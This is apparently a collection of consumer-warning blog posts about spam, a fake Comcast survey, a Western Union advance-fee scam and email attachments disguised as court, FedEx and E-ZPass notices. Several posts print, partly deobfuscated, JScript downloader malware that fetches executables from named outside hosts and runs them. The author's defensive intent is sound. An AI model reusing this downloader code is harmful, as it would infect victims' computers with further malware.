By Twitter To Join As CEO REPORT. Michael Cuddyer impacts Mets win in unexpected way. Tensions with China loom larger as Obama prepares to welcome Xi Jinping. Here be dragons: Four lessons we learned creating our first hardcore mobile game. China Markets Live – PBoC devalues yuan; Shanghai, Shenzen and Hong Kong . Shanghai Tycoon Jailed 18 Years for Misusing Funds. Uttarakhand rapped for failing to pay compensation even two years after . Battle of ground ball artists in Dodgers-Nationals opener. Intel becomes latest global giant to back US Equality Act. China lets yuan fall further, fuels fears of currency war. Mohamed receives Yemen president. Donald Trump’s campaign juggernaut coasts without specifics on policy. How I Became a Painter. Peach Queen court prepares. PF is not dying -Kamba. Mini hydro dams in Volta Region feasible – Consortium. Global stock markets plunge on China currency decline. NPSL Title Game Review/Preview. Century’s Griner claims coach of the year award. Alicia Keys Dressed Like a Tomboy to Fend Off Male Attention. Triad manufacturers form apprenticeship consortium to grow local work force. People will be in hell because of You Morris Babyface cautions Ofori Amponsah. 37 Times You Know You’re a Parent. Peach Queen court prepares. Brittney Griner comes out of nowhere for the emphatic block. Bernie Sanders’ supporters aren’t just ‘mad as hell’ — they like his policies too. Hot Flash: Late August Heat Wave. What Weirdness Awaits from Brewing Super El . Global stock markets plunge on China currency decline. Leg in a cast won’t keep cast member from Guild show. Cognitive behavioral therapy can overcome fear of flying. Uttarakhand rapped for failing to pay compensation even two years after . Lallaing : retour gagnant de la course cycliste, avec plus de 300 casques sur la ligne. As galactic light fades, astronomers study the death of the universe. Seattle Storm vs. Phoenix Mercury – 8/12/15 WNBA Pick, Odds, and Prediction. Our Universe is Dying: Astronomers Conclude that the Cosmos is Slowly Growing Dark. WNBA Capsules: Washington beats Sun. Consortium Leader Picked for Trans-Afghan Pipeline. Intel Rating Lowered to Hold at Vetr Inc. (INTC). Campaign Fundraising Dominated By White, Wealthy Donors. Garden Notes: How to fend off mildew, rot and spider mites. BSA Microchipping:Retraction. Camera for the nano-cosmos. Arrest made in Parsells Avenue shooting. Personalized Medicine: On the Brink of Revolutionizing Cancer Care. Virton: une expo consacre la vannerie, jusqu’au 30 aot. MSU, Habitat break ground at Maroon Edition site. C350R mutation emergence decreases chloroquine resistance in P. falciparum. VU breaks ground on facility aimed at science, math and engineering. Pres. Sirleaf Lauds EU. Master Kong sues Shanghai netizen who spread viral ‘gutter oil’ video. German Carmakers Buy Nokia’s Here Mapping Unit for $3 Billion. In a nation with plenty of tragedy, Afghan comic generates plenty of laughs. Hidden symptoms that could signal major health problems. Oil steadies as bullish IEA balances Chinese yuan slide. Camera for the nano-cosmos: Dresden researchers develop an all-purpose optical . New security vulnerability discovered in old Intel chips. Intel: More Mobile Personal Computing, And Convergence, In 2015 (INTC). Bill Maher unloads on the ‘sick culture of wealth’. Crest Gastropub’s food and brews now available on the south side. Sway Group Named To Inc. 500 List Of America’s Fastest-Growing Private Companies. ONE World Sports Produces First Original Documentary on New York Cosmos Trip . Real estate transactions for Hampden, Hampshire and Franklin counties, August . Palestinians patrol villages for fear of arson. Greed Makes a Comeback in China as Hot New Trade Sparks 5% Rally. Bob Pion Buick GMC celebrates 38 years. Vatican For Sale: Very Wealthy Rent the Sistine Chapel, Dine with the Pope and . Organic, local produce at an affordable price, thanks to small farming trend. Short Interest Update on XOMA Corporation (NASDAQ:XOMA). Master Kong sues Shanghai netizen who spread viral ‘gutter oil’ video. Chattanooga FC, New York Cosmos Last Teams Standing After 65 Started Season. Don’t discount raising tax rates of the wealthy. Volunteers are praised as reserve wins green award. Delle Donne, Sky erupt in 3rd; snap Mercury’s winning streak. Kiermaier’s Blast Leads Rays Over Braves. Biotech ETFs try to Fend off Mounting Skepticism. Scientists call for immediate ban on salamander imports to fend off deadly fungus. Trump on Islamic State: ‘Knock the hell out of them’. C350R mutation emergence decreases chloroquine resistance in P. falciparum. New York Cosmos B defeat Chattanooga FC, 3-2, win league championship. Women’s Health Center of Excellence to rise in Shanghai. Seizing the Opportunity in the Asia Pacific An On the Ground Perspective . I support the Iran deal but Obama’s argument is embittered and unfair. Strikers blow three goal lead in draw with Cosmos. Intel left a fascinating security flaw in its chips for 16 years here’s how . Vikings notebook: Barr out with inflamed knee. Afghan dispenses laughs. Unizin members reflect on the first year of the consortium. Could Target’s Move Away From Gender-Based Signs Kick-Start a Trend?. 2D seismic survey aims to clarify prospectivity in North Celtic Sea. Africa’s millionaire explosion: The 16 countries where the ultra-wealthy are . August 9th in history: Nagasaki bombing and more. Natural Disaster Automation And Mass Notification By Alert Systems Group, LLC. Welcome to Liberland, the World’s Newest Country (Maybe). Toughest part of pedaling through Iran? Coming home. Ford remains ‘bullish on China’ long term. Happy Watermelon Day 16 Sweet, Juicy Facts You Didn’t Know. Gated farming is the new craze as Kenyans ditch village for city. Watch: Angry Jeremy Corbyn takes on Margaret Thatcher over homelessness in . UPDATE 1-Fidelity Contrafund bullish on banks, singles out Wells Fargo. Ex-Institute striker wins Cosmos Copa Cup. UA in consortium on auto electronics. Organic, local produce at an affordable price, thanks to small farming trend. Rising number of wealthy French fleeing abroad. San Diego County Supervisor Dave Roberts’ Fundraising Down Amid Allegations. These are the most bullish and bearish emerging markets in the world. Prolific Sheffield crook who targeted wealthy areas jailed following dramatic . Intel’s diversity hiring doubles in six months. Asian Shares: Stock Slumps Deepen Across Asia; Shanghai Flat. PAL HI profit rises tenfold to P5.86B. German carmakers may add others to map consortium. Yemeni President arrives in UAE. France’s oldest slum, soon to be razed to the ground. Pharrell’s Carl Sagan Tour Rider Is the Very Cosmos. Maritzburg United 0-0 Jomo Cosmos: Team of choice and Ezenkosi play to . China Markets Live – PBoC devalues yuan; Shanghai, Shenzen and Hong Kong . Pres. Sirleaf Lauds EU. Lynx-Mercury Preview. Futures higher, Shanghai stocks surge. Master Kong sues Shanghai netizen who spread viral ‘gutter oil’ video. Oil steadies as bullish IEA balances Chinese yuan slide. Box Jumps 10% on Bullish Comments. US Jets Meet Limit as Iraqi Ground Fight Against ISIS Plods On. Will Biden defy trend of VPs running for president?. Police: Missing Woman Last Seen Monday Afternoon. Yemen Alert: Seize the Chance to End the Conflict. Happy Watermelon Day 16 Sweet, Juicy Facts You Didn’t Know. Hamas tunnel digger giving up much intel, says Shin Bet. Coalition Of Labor, Minority Groups Wants To Redefine ‘Ground Game’ In Virginia. San Diego County Supervisor Dave Roberts’ Fundraising Down Amid Allegations. Indians fend off Tides. Forex technical analysis: USDJPY dips lower. Tests trend line support.. New York Liberty remain thorn in Chicago Sky’s side amid playoff hunt. Hong Kong, Shanghai stocks end flat. Intel’s about to make over $1 billion thanks to Apple. Nokia Confirms $3 Billion Sale of Here Mapping Unit to German Car Consortium. Arkansas Wealthy At Tight End Spot. City Removes Local Dancers from Victorian Christmas Festival. Bullish Oil Bets Boosted Too Early as Price Slide Continues. Drug story taints golds. Sand Gnats Shut Out Rome Braves. animations sur la colline de sion L’osier dans tous ses tats. Personalized Medicine: On the Brink of Revolutionizing Cancer Care.

That is a phenomenal amount of random garbage to include in an email message, and its purpose is to fool spam filters into thinking that this is a legitimate message. For what it’s worth, the spam did manage to get through Comcast’s relatively robust filters and end up in my mailbox, but the visible part of the message was enough to be recognizable as the tired old “mail forwarding scam.”

If a company feels it necessary to take steps like this to make sure its spam is seen, that’s a huge red flag. Don’t walk, run the other way and have nothing to do with these criminals.

The Old Wolf has spoken.

Stung by a deceptive popup

Sometimes I’m just tired, I guess. Normally I don’t pay attention to things I see on my Android since I don’t have ad-blocking software and I’m used to getting the occasional popup or redirect. The other day I saw this:

Screenshot_2015-08-11-05-21-02

and thought, what the heck. To my shame, I didn’t bother to look at the URL: 2015survey.com-visitor0vsj.link. Decidedly not from Comcast.

(It did bother me that they got my IPv4 address right – I wasn’t using a proxy at the time – and really, none of us has any privacy on the Internet, but that’s a subject for another day.)

Let us make my own folly into an object lesson for others.

After a few generic questions about my satisfaction with Comcast, I get this:

Screenshot_2015-08-11-05-42-30

Well, hqiz. As soon as I saw “Garcinia Cambogia,” I knew I’d been hornswoggled into looking at a whole raft of camel ejecta that I’d normally only see on clickbait ads.

So my “reward” is the privilege of looking at affiliate-marketing ads for crappy, worthless products. “Quantity remaining” and “valid for only 60 minutes” are shameless lies. Why anyone would do business with such blatant crooks is beyond me. Notice that the price for every “reward” is $0.00, but you pay for some shipping, and if you follow one of the “rewards,” you’ll get roped into a scummy deal in which you’ll lose both money and your personal information.

A relevant quote from an Atlantic article which I referred to elsewhere says a lot about this kind of trash:

The downside to affiliate marketing is its astonishing rate of fraud. Because affiliates put up their own money to pay for ads pushing these products, they have a strong incentive to dupe consumers, so they can recoup their investment. If you’ve ever clicked an ad or a “sponsored link” about, say, a spectacularly effective new weight-loss scheme, which then leads you to a fake news article (or “farticle,” in the industry parlance) filled with sketchy scientific findings and constant entreaties to buy a product “risk free,” then condolences are in order: you’ve likely stumbled into some affiliate’s trap. “Affiliates are the most creative bunch of people you’re ever going to find, because you’ve got 5,000 people promoting the same product, and they’re all trying to get an edge,” Jim Lillig, an Illinois-based affiliate-marketing strategist, told me. “So of course you’re going to have people pushing the envelope. Some will do anything and everything to promote a product they think they can make money with.”

Gah.

At the end of the list, I got this:

Image2

“Comments” from “satisfied users” (meaning, paid shills or total nonsense written by the advertiser using stolen or stock images), and a chance to leave my own comment:

Sleazy. You don’t care about my answers, you just want me to buy sketchy, worthless junk that I’d normally see on clickbait ads (if I didn’t use add blockers, that is.)

Trouble is, these comments go directly to /dev/null, and no one will ever see them – except you.

When all was said and done, there was this, which makes it clear that I have fallen prey to an affiliate marketer:

foot_guarantee

2008-2015 All Rights Reserved. This is an independent survey and marketing website which is not affiliated with or endorsed by Comcast Cable. This website does not claim to represent or own any of the trademarks, tradenames or rights associated with any of the offers which are the property of their respective owners who do not own, endorse, or promote this website. All images on this website are readily available in various places on the Internet and believed to be in public domain according to the U.S. Copyright Fair Use Act. Offer shipping and handling fees may apply. *See manufacturer’s site for details as terms may vary with offers. NOTE – This website receives compensation in exchange for promoting third party offers. See important terms and conditions regarding this survey, site, and advertisement here.

“Satisfaction Guaranteed.”

Be smarter than I was the other day, and don’t click things like this.

Old_Wolf_Blush

The Old Wolf has spoken.

Scamming Scum

The boys from Benin, like the Lads from Lagos, never seem to give up.


Subject: MTCN: 3784757648 Amount: $5000.00
From: DAVID JOHNSON <foreignpayments19497@gmail.com>

To: undisclosed-recipients:;

MR DAVID JOHNSON
Payment Director
West Africa zonal office,
Western Union.

Ministry of Finance,

WELCOME TO WESTERN UNION MONEY TRANSFER THIS MAIL IS ONLY FOR THE
OWNER OF THIS E-MAIL ADDRESS:

Below is the information of your first payments $5000 Dollars sent to
you today. But unfortunately, the managing Director of this department
called us this morning and
reported that you have not paid the required fee $100 which you are
supposed to pay earlier for the purchasing and updating of your
transfer files but we have
already sent out the payment out but not yet been putting on your name
as the receiver. You will be receiving $5000 daily until your total
amount of funds $520,000
is fully paid to you.

Since you are finding it difficult to get the $100 we have decided
that you are to go ahead and pay whatever you have out of the total
fee $100 required. But
remind you, no amount below $50 will be accepted so we expect you to
pay whatever amount from $50 and above. You are to pay what ever you
have and we will activate your
mtcn number and direct the transfer to your name as the receiver.

Send it to this information below:

Name:__________Joe Mba
Address:________Cotonou/ Benin Republic
Text Question____Transfer?
Answer_____________Yes

Please any amount you send let us know but remember any amount below
$50 will not be accepted. Send us the payment information’s
immediately after you send it.

HERE IS THE MONEY TRANSFER DETAILS MADE TO YOU!!!

MTCN: 3784757648
Sender’s First Name: CLARENCE
Sender’s Last Name: CORASS
Test Question:Color
Answer: Blue
Amount: $5000.00

Don’t expose this numbers to anybody else. If you need to check the
transfer online to see that the money is posted online for
you:https://wumt.westernunion.com/asp/orderStatus.asp?country=BJ
Note that the money detail given to you does not bear your name as the
receiver yet. As soon as we receive the fee from you, we will
immediately activate your
mtcn# and put your name as the receiver. Please take note; you need to
go along with your passport ID or Drivers license when you need to
pick up the transfer
okay.

We look forward to hearing from you. Contact me with this Email (
wudpt5@gmail.com)

REGARDS,
MR DAVID JOHNSON
WESTERN UNION BENIN -TRANSFER AGENT


This personal email, sent to “undisclosed recipients,” is certainly tempting. Okay.

So many things wrong with this, but sadly some people will fall for it.

In case you were wondering, it’s a scam. It’s always a scam. As soon as anyone mentions Western Union or Send Money, you can be sure it’s a scam.

Don’t fall for this. Ignore any such emails. Please.

The Old Wolf has spoken.

Order to Appear in Court

Nothing to see here, folks, just move along. Another scam email from fraudsters trying to get me to download malware to my computer.

This time the Javascript code wants to go out to startick.com, mrflapper.com, and ihaveavoice2.com (all of which are invalid top-level domains), and then download and install other nasty stuff to my computer.

Here’s the email that this came attached to:

To: [edited]
Subject: Notice of appearance in Court #00928994

From: “District Court” <jimmie.cowan@138-172.static.hkit4u.com>

Notice to Appear,
You have to appear in the Court on the July 27.
Please, prepare all the documents relating to the case and bring them to Court on the specified date.
Note: The case may be heard by the judge in your absence if you do not come.
You can review complete details of the Court Notice in the attachment.
Sincerely,
Jimmie Cowan,
Clerk of Court.
Attached: Notice_to_Appear_00928994.zip
That “notice to appear” attachment is actually a JavaScript file, and it came as garbage that looked like this:

function sah126() { return ’00) {‘; };  function sah125() { return ‘ == 2’; };  function sah210() { return ‘+fr+’; }; function sah86() { return ‘ar dn’; };  function sah105() { return ‘rea’; };  function sah95() { return ‘bj’; };

But as soon as the code runs, it concatenates all those little bits into something that looks like this:

var stroke=”55565C5E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;

function gvi() { return ‘e’; }

function sah() { return ‘val’; }

function dl(fr)l”); v { var b = “w’; };

ww.startick.com mrflapper.com ihaveavoice2.com”.split’; };

(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shelar fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; };’; };

try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(4851); dl(5382); dl(2753);var po = ”

for (var ckz=1; ckz<=242; ckz++) { po += this[‘sah’+ckz](); } this[gvi()+sah()](po);

I’ve mentioned these a few times before – the only way to keep yourself safe is to never open attachments you receive in email messages unless you are 100% sure whom they are from and what they are.

The bad actors want access to your data and your computer, and they don’t care how they get it.

Be careful out there.

The Old Wolf has spoken.

Spam from China

Chinese Spam

Why would anyone in their right mind respond to a mail blast like this, especially when it’s in Chinese?

尊敬的客户: 您好! 祝您业务更上一层楼。 我司十多年专为中小企业提供香港公司注册服务。在2014年在香港成立的公司有167279间,在2013年在香港成立的公司有174030间,在经济环境越不好的情况下,老板们更热衷研究并注册离岸公司。在香港成立公司是很简单的事情,两个星期多便可以注册完成,注册资本不需要验资,不需要到位,阁下也不需要到香港。在这些年,我们一直在埋头苦干,精心修炼,力争为您提供更专业的离岸注册服务。一直期待着您的联系。      希望! 本邮件是我们合作的开始.

———

English via Google Translate:

Dear Customer: Hello! I wish your business to the next level. Our ten years designed to provide SMEs in Hong Kong Companies Registry services. The company was established in 2014 in Hong Kong, there are 167,279 in the company in 2013 in Hong Kong has 174,030, in the worse economic environment, the owners are more keen to study and register offshore companies. Set up a company in Hong Kong is a very simple matter, more will be able to register two weeks to complete, registered capital does not require verification, no place, you do not need to go to Hong Kong. During these years, we have been working hard, careful cultivation, strive to provide you with more professional offshore registration services. We have been looking forward to your contact.I hope! This message is the beginning of our cooperation.

Unless they’re targeting people in the mainland, this seems like a phenomenally inefficient way of doing business. On the other hand, it could just be a phishing scam looking for the dumbest of the dumb.

The amount of business that is being done in the world based on dishonesty and deception makes my head hurt.

The Old Wolf has spoken.

Another package of Javascript malware

mon

I wish I were a javascript programmer.

Here’s the code that came to me via email in a .zip file, under the malicious guise of a FedEx delivery label (it was packaged to look like the code you see in my previous post.)


var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;

function cwm() { return ‘e’; };

function xn() { return ‘val’; };

function dl(fr) { var b = “dickinsonwrestlingclub.com etqy.com soflectplit(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shell”); var fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er)) { return ‘.c {}; if (dn == 1) break; } }; dl(7) { return ‘om”.s971); dl(6202’; };  var xv = ”; ); dl(613);

for (var rlh=1; rlh<=225; rlh++) { xv += this[‘xn’+rlh](); } this[cwm()+xn()](xv);


The email:

To: info@academyofgreatness.com
Subject: Problems with item delivery, n.00000732560

From: “FedEx International MailService” <seth.mcdowell@77.241.83.157.static.hosted.by.combell.com>

Dear Customer,

We could not deliver your item.
Please, download Delivery Label attached to this email.
Yours faithfully,
Seth Mcdowell,
Operation Manager.
FedEx_ID_00000732560.zip

 I have said before and will say cheerfully again, Don’t Open Attachments from People You Don’t Know. Just don’t. Files labelled .zip, .exe, .js, or even .doc, .pdf, and others can be malicious. Sadly, too many people suppress the display of file extensions on their machine, because that’s the default Microsoft has herded people into, and it’s dangerous.
The script above goes out to two websites, “dickinsonwrestlingclub.com” which redirects to a Facebook page, and etqy.com. The registration of the first hides behind a privacy wall:
Domain Name: DICKINSONWRESTLINGCLUB.COM
Registry Domain ID: 336832356_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.networksolutions.com
Registrar URL: http://networksolutions.com
Updated Date: 2015-01-29T00:13:33Z
Creation Date: 2006-02-06T15:11:04Z
Registrar Registration Expiration Date: 2017-02-06T05:00:00Z
Registrar: NETWORK SOLUTIONS, LLC.
Registrar IANA ID: 2
Registrar Abuse Contact Email: abuse@web.com
Registrar Abuse Contact Phone: +1.8003337680
Reseller:
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: PERFECT PRIVACY, LLC
Registrant Organization:
Registrant Street: 12808 Gran Bay Parkway West
Registrant City: Jacksonville
Registrant State/Province: FL
Registrant Postal Code: 32258
Registrant Country: US
Registrant Phone: +1.5707088780
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: h72bn4775k5@networksolutionsprivateregistration.com
Registry Admin ID:
Admin Name: PERFECT PRIVACY, LLC
Admin Organization:
Admin Street: 12808 Gran Bay Parkway West
Admin City: Jacksonville
Admin State/Province: FL
Admin Postal Code: 32258
Admin Country: US
Admin Phone: +1.5707088780
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: h72bn4775k5@networksolutionsprivateregistration.com
Registry Tech ID:
Tech Name: PERFECT PRIVACY, LLC
Tech Organization:
Tech Street: 12808 Gran Bay Parkway West
Tech City: Jacksonville
Tech State/Province: FL
Tech Postal Code: 32258
Tech Country: US
Tech Phone: +1.5707088780
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: h72bn4775k5@networksolutionsprivateregistration.com
Name Server: NS1.CTCTEL.COM
Name Server: NS2.CTCTEL.COM
DNSSEC: Unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
The second is registered to someone in Turkey:
Domain Name: etqy.com
Registry Domain ID: 1527531270_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.srsplus.com
Registrar URL: http://srsplus.com
Updated Date: 2014-03-13T20:56:39Z
Creation Date: 2008-11-07T19:15:39Z
Registrar Registration Expiration Date: 2015-11-07T19:15:39Z
Registrar: TLDS LLC. d/b/a SRSPlus
Registrar IANA ID: 320
Registrar Abuse Contact Email: abuse@web.com
Registrar Abuse Contact Phone: +1.8773812449
Reseller:
Domain Status: clientTransferProhibited http://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Ferhat Yilmaz
Registrant Organization:
Registrant Street: Hasanpasa Mah. Fahrettin Kerim Gokay Cad. No:26 Kadikoy
Registrant City: Istanbul
Registrant State/Province: none
Registrant Postal Code: 34724
Registrant Country: TR
Registrant Phone: +90.90211
Registrant Phone Ext.:
Registrant Fax:
Registrant Fax Ext.:
Registrant Email: info@etqy.com
Registry Admin ID:
Admin Name: Ferhat Yilmaz
Admin Organization:
Admin Street: Hasanpasa Mah. Fahrettin Kerim Gokay Cad. No:26 Kadikoy
Admin City: Istanbul
Admin State/Province: none
Admin Postal Code: 34724
Admin Country: TR
Admin Phone: +90.90211
Admin Phone Ext.:
Admin Fax:
Admin Fax Ext.:
Admin Email: info@etqy.com
Registry Tech ID:
Tech Name: Ferhat Yilmaz
Tech Organization:
Tech Street: Hasanpasa Mah. Fahrettin Kerim Gokay Cad. No:26 Kadikoy
Tech City: Istanbul
Tech State/Province: none
Tech Postal Code: 34724
Tech Country: TR
Tech Phone: +90.90211
Tech Phone Ext.:
Tech Fax:
Tech Fax Ext.:
Tech Email: info@etqy.com
Name Server: ns51.1and1.com
Name Server: ns52.1and1.com
DNSSEC: Unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

The code goes out to these websites and downloads other files, and then runs them. What will happen to your computer next is anyone’s guess. That’s why I wish I knew javascript better, so I could determine exactly what was being downloaded and what it is supposed to do.

Whatever the case, stay away from attachments in your email.

The Old Wolf has spoken.

An Illustration: Why you never open those attachments.

noattachments

I got two emails yesterday, each with an attachment. Both are designed to get people to open whatever malware package they are carrying:

To: [redacted]
Subject: Notice to appear in Court #00000554562

From: “District Court” <nathaniel.berger@realestate-philippines.net>

Notice to Appear,

This is to inform you to appear in the Court on the July 06 for your case hearing.
Please, do not forget to bring all the documents related to the case.
Note: The case will be heard by the judge in your absence if you do not come.
The copy of Court Notice is attached to this email.
Kind regards,
Nathaniel Berger,
Clerk of Court.
Attached: 00000554562.zip

Subject: Indebtedness for driving on toll road #0000133433
To: [redacted]

From: “E-ZPass Manager” <calvin.gleason@adescbrasil.com.br>

Notice to Appear,
You have a unpaid bill for using toll road.
Please, do not forget to service your debt.
You can review the invoice in the attachment.
Sincerely,
Calvin Gleason,
E-ZPass Agent.
E-ZPass_0000133433.zip

Notice that the second email begins the same way: “Notice to appear,” even though it’s a notification of a supposed debt. These were clearly cut/pasted by the same person/group.

So let’s look at that attachment.

The E-Z Pass zip file contains a file called “E-ZPass_0000133433.doc.js.” This is a javascript file, and it was immediately quarantined by Microsoft Security Essentials and flagged as TrojanDownloader:JS/Nemucod.P. According to Microsoft, “This program displays deceptive program messages. It downloads and installs other programs onto your PC without your consent, including other malware.”

Clearly, you don’t want to mess with this on your machine. The body of the file looks like this:

var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;function igs118() { return ‘4 && ‘; };  function igs236() { return ‘);’; };  function igs101() { return ‘); x’; };  function igs193() { return ‘ x’; };  function igs232() { return ‘3862’; };  function igs3() { return ‘ dl’; };  function igs30() { return ‘i=’; };  function igs140() { return ‘a.ty’; };  function igs182() { return ‘} ‘; };  function igs74() { return ‘.rou’; };  function igs162() { return ‘1; x’; };  function igs23() { return ‘com”‘; };  function igs131() { return ‘ect(‘; };  function igs217() { return ‘ } c’; };  function igs228() { return ‘; dl(‘; };  function igs176() { return ‘{ ws’; };  function igs136() { return ‘”); x’; };  function igs141() { return ‘pe ‘; };  function igs97() { return ‘SXML2’; };  function igs192() { return ‘try {‘; };  function igs63() { return ‘(“‘; };  function igs50() { return ‘”);’; };  function igs229() { return ‘6001)’; };  function igs89() { return ‘ar x’; };  function igs66() { return ‘”)+’; };  function igs46() { return ‘WS’; };  function igs19() { return ‘ a’; };  function igs79() { return ‘m()*’; };  function igs186() { return ‘; };’; };  function igs28() { return ‘ (v’; };  function igs29() { return ‘ar ‘; };  function igs117() { return ‘e == ‘; };  function igs216() { return ‘nd();’; };  function igs185() { return ‘r) {}’; };  function igs113() { return ‘ (x’; };  function igs90() { return ‘o ‘; };  function igs72() { return ‘)+’; };  function igs70() { return ‘arCod’; };  function igs49() { return ‘ell’; };  function igs233() { return ‘); d’; };  function igs171() { return ‘ile(‘; };  function igs201() { return ‘]+”/d’; };  function igs166() { return ‘ 0; x’; };  var ci = ”;  function igs127() { return ‘ new ‘; };  function igs40() { return ‘s =’; };  function igs219() { return ‘h ‘; };  function igs206() { return ‘nd=”+’; };  function igs61() { return ‘rin’; };  function igs22() { return ‘ge.’; };  function igs102() { return ‘o.o’; };  function igs138() { return ‘pen’; };  function igs14() { return ‘cl’; };  function igs111() { return ‘n()’; };  function igs10() { return ‘so’; };  function igs48() { return ‘.Sh’; };  function igs51() { return ‘ v’; };  function igs98() { return ‘.XMLH’; };  function igs167() { return ‘a.’; };  function igs17() { return ‘etqy’; };  function igs42() { return ‘Ac’; };  function igs194() { return ‘o.’; };  function igs129() { return ‘eX’; };  function igs137() { return ‘a.o’; };  function igs91() { return ‘= ‘; };  function igs144() { return ‘a.’; };  function igs159() { return ‘ { d’; };  function igs45() { return ‘t(“‘; };  function igs2() { return ‘ion’; };  function igs92() { return ‘new’; };  function igs18() { return ‘.com’; };  function igs106() { return ‘atec’; };  function igs8() { return ‘”dick’; };  function igs65() { return ‘P%’; };  function igs147() { return ‘e(xo’; };  function igs68() { return ‘g.f’; };  function igs75() { return ‘nd’; };  function igs24() { return ‘.spli’; };  function igs200() { return ‘”+b[i’; };  function igs47() { return ‘cript’; };  function igs227() { return ‘ } }’; };  function igs179() { return ‘n,’; };  function igs161() { return ‘= ‘; };  function igs187() { return ‘ xa’; };  function igs67() { return ‘Strin’; };  function igs34() { return ‘leng’; };  function igs27() { return ‘for’; };  function igs143() { return ‘; x’; };  function igs199() { return ‘tp://’; };  function igs35() { return ‘th; ‘; };  function igs177() { return ‘.R’; };  function igs39() { return ‘ w’; };  function igs4() { return ‘(fr’; };  function igs153() { return ‘f (‘; };  function igs189() { return ‘ose(‘; };  function igs115() { return ‘ead’; };  function igs33() { return ‘b.’; };  function igs1() { return ‘funct’; };  function igs146() { return ‘it’; };  function igs44() { return ‘Objec’; };  function igs145() { return ‘wr’; };  function igs38() { return ‘ var’; };  function igs11() { return ‘nw’; };  function igs108() { return ‘e ‘; };  function igs94() { return ‘ve’; };  function igs205() { return ‘p?r’; };  function igs169() { return ‘veT’; };  function igs174() { return ‘); tr’; };  function igs16() { return ‘om ‘; };  function igs105() { return ‘dyst’; };  function igs170() { return ‘oF’; };  function igs83() { return ‘)+”.e’; };  function igs230() { return ‘; d’; };  function igs78() { return ‘rando’; };  function igs149() { return ‘spo’; };  function igs21() { return ‘na’; };  function igs37() { return ‘+) {‘; };  function igs203() { return ‘ume’; };  function igs125() { return ‘ xa’; };  function igs76() { return ‘(Ma’; };  function igs41() { return ‘ new ‘; };  function igs188() { return ‘.cl’; };  function igs134() { return ‘.St’; };  function igs80() { return ‘10000’; };  function igs116() { return ‘yStat’; };  function igs150() { return ‘ns’; };  function igs135() { return ‘ream’; };  function igs114() { return ‘o.r’; };  function igs96() { return ‘ct(“M’; };  function zuw() { return ‘e’; };  function igs215() { return ‘.se’; };  function igs139() { return ‘(); x’; };  function igs62() { return ‘gs’; };  function igs130() { return ‘Obj’; };  function igs222() { return ‘; if ‘; };  function igs218() { return ‘atc’; };  function igs133() { return ‘ODB’; };  function igs207() { return ‘fr+”&’; };  function igs123() { return ‘200) ‘; };  function igs202() { return ‘oc’; };  function igs6() { return ‘var ‘; };  function igs152() { return ‘); i’; };  function igs198() { return ‘”,”ht’; };  function igs148() { return ‘.Re’; };  function igs221() { return ‘) {}’; };  function igs25() { return ‘t(” “‘; };  function igs234() { return ‘l(‘; };  function igs100() { return ‘P”‘; };  function igs209() { return ‘=”+s’; };  function igs165() { return ‘ion =’; };  function igs204() { return ‘nt.ph’; };  function igs104() { return ‘ea’; };  function igs55() { return ‘.Expa’; };  function igs112() { return ‘ { if’; };  function igs99() { return ‘TT’; };  function igs5() { return ‘) { ‘; };  function igs12() { return ‘res’; };  function igs178() { return ‘un(f’; };  function igs87() { return ‘ = ‘; };  function igs195() { return ‘op’; };  function igs85() { return ‘; v’; };  function igs214() { return ‘ xo’; };  function igs224() { return ‘ == 1’; };  function igs226() { return ‘reak;’; };  function igs223() { return ‘(dn’; };  function igs124() { return ‘{ var’; };  function igs196() { return ‘en(“G’; };  function igs95() { return ‘XObje’; };  function igs31() { return ‘0; ‘; };  function igs15() { return ‘ub.c’; };  function igs126() { return ‘ =’; };  function igs54() { return ‘ ws’; };  function igs73() { return ‘Math’; };  function igs82() { return ’00’; };  function igs231() { return ‘l(‘; };  function igs119() { return ‘xo.s’; };  function igs107() { return ‘hang’; };  function igs86() { return ‘ar dn’; };  function igs190() { return ‘); }’; };  function igs155() { return ‘.si’; };  function igs213() { return ‘e);’; };  function igs58() { return ‘onm’; };  function igs7() { return ‘b = ‘; };  function igs208() { return ‘id’; };  function igs120() { return ‘ta’; };  function igs121() { return ‘tu’; };  function igs88() { return ‘0; v’; };  function igs71() { return ‘e(92’; };  function igs84() { return ‘xe”‘; };  function igs36() { return ‘i+’; };  function igs122() { return ‘s == ‘; };  function igs109() { return 